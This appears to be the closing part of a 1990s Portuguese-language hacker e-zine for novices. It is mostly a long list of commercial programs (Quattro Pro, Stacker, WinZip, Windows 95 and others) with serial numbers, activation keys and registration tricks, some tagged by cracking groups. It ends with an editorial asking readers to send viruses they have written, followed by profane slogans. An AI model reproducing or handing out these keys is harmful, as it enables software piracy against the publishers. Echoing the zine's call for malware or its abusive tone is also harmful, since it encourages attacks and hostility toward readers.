QPV/386 1.6c 1/4 - line 2#: 40-E9D70E3D12345678B9C94A5D31BC1223
Qemm7.5 - 010-17F-95293
Qmodem PRO v1.10 for Windows - 92-0069
Qmodem PRO v1.53 - 66-3454
Quark express v3.3 met EFI - WX-12572277
Quark express v3.3 with EFI - WX-12572277
Quatro PRO v3.1 - DA246D10323488
Quatro PRO v5.0 for Windows - 1F945C10098127
Quatro PRO v5.0 for Windows - IA935A10031893
Quattro PRO NL v5.0 - IA945C10033381
Query for OS/2 - 5622-118
Quick books v1.0 - 382.71.904
Quick time v2.0 for Windows - 040904E4
Quickbooks v3.0 for Windows - 1000164598
Ramexam - 5432189569
Ramexam v7.01 - 90060814060
Reachout remote control professional edition - 000646264
Recognita plus v1.0 for Windows - A46AW422604388
Recognita v1.0 for Windows - A46AW422604388
Remote Access - pf026549cb0002319a0045
Remote Access - pfb7b1ef04cdd90aac0045
Remote Access Pro v2.02 (250 nodes) - PF026549CB0002319A0045
Remote Access Pro v2.02 - PFB7B1EF04CDD90AAC0045
Remote acces - sysop: batman - bbs: - s/n: RFB7B1EF04CDD90AAC0045
Remote access pro v2.01 - PF026549CB0002319A0045
Remote access pro v2.01 - PFB7B1EF04CDD90AAC0045
Remove it v1.0 - 10022814
Rems property manager 500 v3.0 - 92336 1/2
Roadtech v1.0 - A5-171754
Rock & Bach studio v1.0 - 0247942
Rumba mainframe connection v4.0 (4 node license) - 00491097
SCO Unix NFS v1.1.0 - activation Key: JQQBRMYC
SCO Unix NFS v1.1.0 - s/n: ING000045
SCO Unix NFS v1.1.0 - s/n: ING000045 - activation Key: JQQBRMYC
SPSS/PC Statistics v6.1 for Windows - 945872
STTNG: stardate for Windows - ESW-83838-9710
Second-friend v5.0 - TR5012853
Select time v2.0 - W894S91K4
Ser green - SKY797128
Ser green screen/power saver - SKY797128
Server dat v4.0 program manager - 301062
Shez (all versions) - CDCE1357017562
Shez (all versions) - CDCE1357123142
Shez (all versions) - CDCE1357143180
Shez (all versions) - CDCE1357239052
Shez (all versions) - CDCE1357257182
Shez (all versions) - CDCE1357264461
Shez (all versions) - CDCE1357327302
Shez (all versions) - CDCE1357389753
Shez (all versions) - CDCE1357641392
Shez (all versions) - CDCE1357762662
Shez - CDCE1357017562
Shez - CDCE1357123142
Shez - CDCE1357143180
Shez - CDCE1357257812
Shez - CDCE1357327302
Shez - CDCE1357389753
Shez - CDCE1357641392
Shez - CDCE1357762662
SideBar v1.0 for Windows - 000-19T-83189
SideBar v1.0 for Windows - 000-19T-95293
Simpson Screen Saver /win - zqw-33671-7329
Simpson screensaver for Windows - KAW-64331-1262
Simpson screensaver for Windows - ZQW-33671-7329
Simpson screensaver for Windows - ZQW-35600-2587
Sins for sirds v1.1 for Windows - 1371078
Skatteprogram 94/95 v9.11 - 62-046-123456
Skylight v3.0 for Windows - XXX-201258-BMAX
Snapgrafx v1.0 for Windows - 0901-0010-2844-6401
Snooper v3.30 - S112-2331
Softdesk productivity tools v7.02 - 07DPP3E 20333
Software caroussel v6.02 / v6.03 - 30230940
Software caroussel v6.02 and v6.03 - 30230940
Sourcer v5.10 - B309868-YTHT
Sourcer v5.10 - B311312
Sourcer v5.10 - S321851-GPER
Spinrite v3.1 - E0225808
Stacker v1.1 for DOS and OS/2 - SI1FH361225
Stacker v4.0 - u40aa079658
Stacker v4.0 for DOS and Windows - U40AA079658
Stacker v4.0 for DOS en Windows - SI1FH361225
Stacker v4.0 for DOS en Windows - U40AA079658
Stanford graphics v3.0b for Windows - 3000394
Star trek screen posters - SPW-06753-8181
Startrek:"The next generation" screen saver - BSW-35600-2587
Startrek:"The next generation" screen saver - ZQW-33671-7329
Startrek:"The next generation" screen saver - ZQW-35600-2587
Streamliner v3.01 for Windows - SBW3001100640-184
Streets on a disk v6.0 - ST40088
Streetwizard v5.0 for Windows - 24451FD
SuperVoice v2.0a /win - 001504
SuperVoice v2.0b - 002846
Superbase '95 v3.0 for Windows - 302010051293
Superbase '95 v3.0 for Windows - 353010020336
Superbase v2.0 for Windows - 152010055593
Supercharts v2.1g for Windows - OPQH93AG1YL3U4L
Superfax v5.0 for Windows - 110957
Superfax v5.0 for Windows - 894139
Superfax v5.0 for Windows - 904048
Superfax v5.1 for Windows - 110957
Superjam v1.0 for Windows - 01-0426310A-000267
Superoffice v2.50c - 5 users: you must specify 5 users
Superoffice v2.50c - company name: does not matter
Superoffice v2.50c - l/n: 4238291206
Superoffice v2.50c - s/n: 1022500019
Superoffice v2.50c 1/1 - company name: does not matter
Superoffice v2.50c 1/2 - s/n: 1022500019
Superoffice v2.50c 1/3 - 5 users: you must specify 5 users
Superoffice v2.50c 1/4 - l/n: 4238291206
Superprint v3.10 - 300-300-1234
Superprint v3.10 - 400-310-00793
Superprint v3.10 - 686-310-11744
Supervoice v2.0A for Windows - 001504
Supervoice v2.0b - 002846
Supervoice v2.0b for windows - 002846
System Commander V1.28 - y302121-gjrm
Sytos plus v1.41 - SPED-142SYD2-A14
Sytos plus v1.42 - SPED-142SYD2-A14
Tango PCB - s/n disk 1: PP222X1
Tango PCB - s/n disk 2: PP222X2
Tango PCB - s/n disk 3: S140X1
Tango PCB - s/n disk 4: S140X2
Tango PCB - s/n disk 5: S140X3
Teles.com v2.72 - 9302 6618 2159 1171
Telix /win - w1902608-63795
Telix v1.01 for Windows - W1902608-63795
Telix v1.01 for Windows - W1902775-000945
Telix v1.01 for Windows - W1902775-00945
Telix v3.22 - A1019106-29855
Telix v3.22 - A1043340-38984
The Flinstone cuckoo clock for Windows - (* = any number)
The Flinstone cuckoo clock for Windows - 90500100-00***
The Troubleshooter v3.51 - 570166
The international OCR - A46IW331561710
The mayor BBS v6.25 - NWGEEGD9J
The semware editor prerelease - 3001005027
Thedraw v4.62 - A460-004945
Timbuktu v1.1 for DOS and Windows - 3130078-33EC
Time slips v5.0 for Windows - 5.10190000638
Topproducer v5.0 for Windows - IS3H-081794-CAE0019264
Totally twisted screensaver for Windows - BII-00670-6681
Transcan v5.0 - 7e-08a7-81
Trascan v5.0 - 7E-08A7-81
Treboffer v1.0 - p/w: Password
Treboffer v1.0 - s/n: 622
Treboffer v1.0 - s/n: 622 - p/w: Password
Trip Maker Road Atlas /win - tmd 100 100 10782
Trip maker road atlas for Windows - TMD 100 100 10782
True type effects - TEW31-13A2B-01F0KV
Truespace animation v1.0 for Windows - 3 10 001 026188
Truespace animation v1.0 for Windows - 3 10 001 027601
TurboCom/2 v2/02 - 102454202
Turbocom/2 v2.0 - 102454202
Turbofast professional v4.2d - 23-HH845
Turbofast professional v4.2d - 23-HH971
Twinbridge v3.3 for Windows - TBCWSYS9409U-109307
Typestry v1.1 for Windows - 4144650235
Typestry v1.1 for Windows - 478821383
Uninstaller /win - i20095616
Uninstaller /win - i2237533
Uninstaller for Windows - I20095616
Uninstaller for Windows - I2237533
Uninstaller v2.01 for Windows - I20095616
Uninstaller v2.01 for Windows - I2237533
Universal VESA VBE v5.0 - 10000-0991DA6B-00001
Universal VESA VBE v5.0 - 10000-133958B9-00001
Universal VESA VBE v5.1 - 10000-0991DA6B-00001
Universal VESA VBE v5.1 - 10000-133958B9-00001
Unprotect/DOS 4.2a v646 - name: GaRY D. [UCF] - s/n: 00000000138
VFast v2.0 beta protocol driver - VFC0D6F2
VFast v2.0 protocol driver - VFC0D6F2
VX Rexx v2.0 for OS/2 - VXR2025401
Ventura publisher NL v3.0 - RWNL000029
Vesaview v6.2 1/1 - make a file called vesaview.reg
Vesaview v6.2 1/2 - and put the next lines in this file
Vesaview v6.2 1/3 - MarQuiS De SoiRe [UCF]
Vesaview v6.2 1/4 - An9dPgC3ZR
Virtus VR - I20095616
Virtus VR /win - gwcaa405-000-2aac
Virtus VR for Windows - GWCAA405-000-2AAC
Vis PRO C for OS/2 - VPP5015436
Vis PRO C++ for OS/2 - VPP6019281
Vis PRO rexx gold edition for OS/2 - VPR1540827
Visio3 - 117-287-033446
Visual reality for Windows - VRW02449
Walt Disney screensaver for Windows - DSW-36523-5758
Watcom SQL netware NLM for Windows - 31600455
Wildcat BBS v4.0x - 95-1144
WinZip v5.50 /win 1/2 - add to win.ini [WinZip] - Name=Murad Meraly
WinZip v5.50 /win 2/2 - add to win.ini SN=34077594 - Version=5.5
Winbatch compiler v5.01j for Windows - #: QG017Q3U
Winbatch compiler v5.01j for Windows - id: 263324
Winbatch compiler v5.01j for Windows - id: 263324 - #: QG017Q3U
Winbatch v5.0j for Windows - #: LG01FNT9
Winbatch v5.0j for Windows - id: 264747
Winbatch v5.0j for Windows - id: 264747 - #: LG01FNT9
Wincheckit 2.01 - A6-050152
Wincheckit Retail v2.0 - B6-019820
Wincom PRO v1.1 for Windows - 37Z59J
Windows 95 950 r2 - 875-7215850
Windows 95 950 r3 - 975-4769754
Windows 95 950 r6 - 975-4969754
Windows draw by Micrografx - DV1001LXX10827
Windows for workgroups v3.11 - 18016-010-0187302
Winfax PRO - 1321-2123-7176
Winfax PRO for Windows - 1321-2123-7176
Winfax PRO v3.0 for networks for Windows - server: 1100-0955-4806
Winfax PRO v3.0 for networks for Windows - user: 1152-3481-1788
Winfax PRO v3.0 for networks for Windows - user: 1152-7632-1646
Winfax PRO v4.0 for networks for Windows - server: 1101-3405-1357
Winfax PRO v4.0 for networks for Windows - user: 1154-2501-7095
Winfax PRO v4.0 for networks for Windows - user: 1154-3403-4849
Winfax Pro - 1321-2123-7176
Winmaster v1.5 for Windows - 4010625852V01
Winprobe v3.0 /win - 00065088dh9
Winprobe v3.0 for Windows - 00065088DH9
Winprobe v3.0 for Windows - 00087228DH9
Winprobe v3.1 for Windows - 01497186EH9
Winsleuth gold plus v2.0 for Windows - 240-14256
Winzip for Windows95!! beta version 6.0b - name: bcom - SN: D1010288
Winzip v5.5 for Windows - add to win.ini: - [WinZip] - name=Murad Meraly
Winzip v5.5 for Windows - add to win.ini: - [WinZip] - name=Murad Meraly - sn=34077594 - version=5.5
Winzip v5.5 for Windows - sn=34077594 - version=5.5
Winzip v5.6 for Windows - 4F520AC6
WordStar Windows 2 1/2 - AIBAO0307ZD
WordStar Windows 2 2/2 - BATCH DATA: - 403294037
Wordperfect v5.2 for Windows - 1WP52XW0820311
Wordperfect v6.1 for Windows - 1WP61XW0166388
Wordscan v3.0 for Windows - BB3921343
Wordstar professional v7.0 - 29015146
Xara 3d - TOMFOQK
X-Men Screen Saver /win - ad3-00670-6681
X-Men screensaver for Windows - AD3-00670-6681
XDiz v1.0e - name: SoNiC (R) [UCF] - s/n: 770
XDiz v1.5e - name: Bonejacker #1 - s/n: 429398424
XDiz v1.5e - name: DIR&MIR just for fun - s/n: &H7676
XWare xvision v5.6 for Windows - s/n: 040005100D21819 - key: 18748F03DA00
Xtree PRO v1.0 - 115611
Xtree v2.0 for Windows - X711080
XtreeNet v3.0 /win - n524420944
Xtreenet v3.0 for Windows - N524420944
Zeno graphics superprint v3.10 - 400-310-00793
ZenoGraphics Superprint v3.10 - 400-310-00793
Zipchunker PRO v3.01 - s/n: ZCP0000000079 - name: Steve Voss
                               
           Olha camaradas sinceramente eu naum me lembro de onde arranquei
           esta lista so sei que salvei pela net no diretorio da revista mas
           esqueci a url entaum c vc e autor dela email na gente!!!

[hacK]<<FW>>[hacK]<<FW>>[hacK]<<FW>>[hacK]<<FW>>[hacK]<<FW>>[hacK]<<FW>>[hacK]<<FW>>

           Bom hlera fica por aqui mais um numero de FW c vc tem criticas
           sugestoens quer nos ajudar chingar nossa mae ou mandar um e-mail
           BOMBA (c bem que isto e uma babaquice) email na gente em:

           jocker@angelfire.com


           Por Favor emaial na gente se por acaso vc quiser novas edicoes de
           FW.
           Sua critica e importante para que possamos fazer o melhor para
           TODOS os novatos REPITINDO este nao e um e-zine para pessoas
           com um certo grau de conhecimentos e sim para novatos os LAMMERS.
	     
	     Agora a esse e-zine estar sempre em :
	     http://www.geocities.com/ResearchTriangle/Lab/5408/main.html	
	     Se voc quiser os outros numeros do e-zine baixe nessa HP

           Nao que eu queira enssinar lammers nos sim queremos iniciar 
           mentes para o mundo UnDErGrOuND

           Esperamos TODO o apoio e critica dos leitores pois a revista e
           feita para vc's que querem a ler.
           Qualquer ajuda e bem vinda.

           Se voc quer nos ajudar contactenos se voc manja de Novell, ou
           descriyptaao, tem um programa maneiro, voc escreveu um virus
           muito bom  um timo preack tem a mente aberta ou apenas gostou
           ou detestou nosso e-zine email na gente em jocker@angelfire.com.

           NO NO NO CONSTITUITION
           fuck, fuck, fuck, fuck, fuck, fuck, fuck all costituition
           FUCK WORLD
           I HATE USA FUCK USA

[hacK]<<FW>>[hacK]<<FW>>[hacK]<<FW>>[hacK]<<FW>>[hacK]<<FW>>[hacK]<<FW>>[hacK]<<FW>>
           


